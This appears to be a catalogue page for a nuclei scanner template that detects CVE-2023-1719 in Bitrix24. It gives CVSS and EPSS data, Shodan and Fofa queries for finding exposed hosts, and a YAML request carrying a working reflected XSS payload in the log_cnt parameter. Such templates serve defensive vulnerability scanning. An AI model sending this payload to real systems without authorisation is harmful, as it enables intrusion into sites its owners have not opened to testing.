SecurityContext

CVE-2023-1719: Bitrix Component - Cross-Site Scripting

  • Template: CVE-2023-1719
  • Name: Bitrix Component - Cross-Site Scripting
  • Description: Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.
  • Impact: Unauthenticated attackers can inject malicious JavaScript and potentially execute arbitrary PHP code if the victim has administrator privileges, compromising the entire Bitrix24 collaboration platform and accessing sensitive business data.
  • Remediation: Update Bitrix24 to a version newer than 22.0.300 that properly initializes variables and sanitizes input in the bitrix/modules/main/tools.php component.
  • Severity: critical
  • Authors: DhiyaneshDk
  • Tags: cve2023, cve, bitrix, xss, bitrix24, vuln
  • References: https://starlabs.sg/advisories/23/23-1719/, https://nvd.nist.gov/vuln/detail/CVE-2023-1719, https://github.com/20142995/sectool
  • Cves: CVE-2023-1719
  • Verified: yes
  • Max requests: 1
  • Directory: http/cves
  • Path: http/cves/2023/CVE-2023-1719.yaml
  • Digest: 490a0046304402201d8dc8e74f4aab3071317684bf786da4146c052f28279ea39d5e4fdc2b20ac49022036ec06a3fc3a195bad8a37ad4f40bc24c78f3d649d0c01ce762fd0263a9480d8
  • Created at: 2023-11-07T14:45:54Z
  • Updated at: 2026-11-24T02:03:42Z
  • Age in days: 1113
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1719.yaml

Classification

  • Cwe: CWE-665
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.06262
  • Epss percentile: 0.93741
  • Cpe: cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*

Metadata

  • Fofa-query: body="/bitrix/"
  • Max-request: 1
  • Product: bitrix24
  • Shodan-query: html:"/bitrix/", http.html:"/bitrix/"
  • Vendor: bitrix24
  • Verified: yes

Products

ProductIndexedUrl
bitrix24:bitrix24yes/v1/products/bitrix24/bitrix24

Labels

  • Name: Bitrix24 - Server-Side Template Injection
  • Impact: Attackers can enumerate server files, execute malicious scripts in browsers, and potentially execute arbitrary PHP code on the server with admin privileges.
  • Remediation: Update to the latest version of Bitrix24 or apply security patches to fix the vulnerability.
  • Vulnerability type: template_injection
  • Vulnerability impact: information_disclosure, client_script_exec, remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2023-1719
  • Not known: requirements

```yaml

id: CVE-2023-1719

info:

name: Bitrix Component - Cross-Site Scripting

author: DhiyaneshDk

severity: critical

description: |

Global variable extraction in bitrix/modules/main/tools.php in Bitrix24 22.0.300 allows unauthenticated remote attackers to (1) enumerate attachments on the server and (2) execute arbitrary JavaScript code in the victim’s browser, and possibly execute arbitrary PHP code on the server if the victim has administrator privilege, via overwriting uninitialised variables.

impact: |

Unauthenticated attackers can inject malicious JavaScript and potentially execute arbitrary PHP code if the victim has administrator privileges, compromising the entire Bitrix24 collaboration platform and accessing sensitive business data.

remediation: |

Update Bitrix24 to a version newer than 22.0.300 that properly initializes variables and sanitizes input in the bitrix/modules/main/tools.php component.

reference:

- https://starlabs.sg/advisories/23/23-1719/

- https://nvd.nist.gov/vuln/detail/CVE-2023-1719

- https://github.com/20142995/sectool

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2023-1719

cwe-id: CWE-665

epss-score: 0.06262

epss-percentile: 0.93741

cpe: cpe:2.3:a:bitrix24:bitrix24:22.0.300:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: bitrix24

product: bitrix24

shodan-query:

- html:"/bitrix/"

- http.html:"/bitrix/"

fofa-query: body="/bitrix/"

tags: cve2023,cve,bitrix,xss,bitrix24,vuln

http:

- method: GET

path:

- "{{BaseURL}}/bitrix/components/bitrix/socialnetwork.events_dyn/get_message_2.php?log_cnt=<img%20onerror=alert(document.domain)%20src=1>"

matchers-condition: and

matchers:

- type: word

part: body

words:

- "'LOG_CNT':"

- "<img onerror=alert(document.domain) src=1>"

condition: and

- type: word

part: header

words:

- text/html

- type: status

status:

- 200

digest: 490a0046304402201d8dc8e74f4aab3071317684bf786da4146c052f28279ea39d5e4fdc2b20ac49022036ec06a3fc3a195bad8a37ad4f40bc24c78f3d649d0c01ce762fd0263a9480d8:922c64590222798bb761d5b6d8e72950

```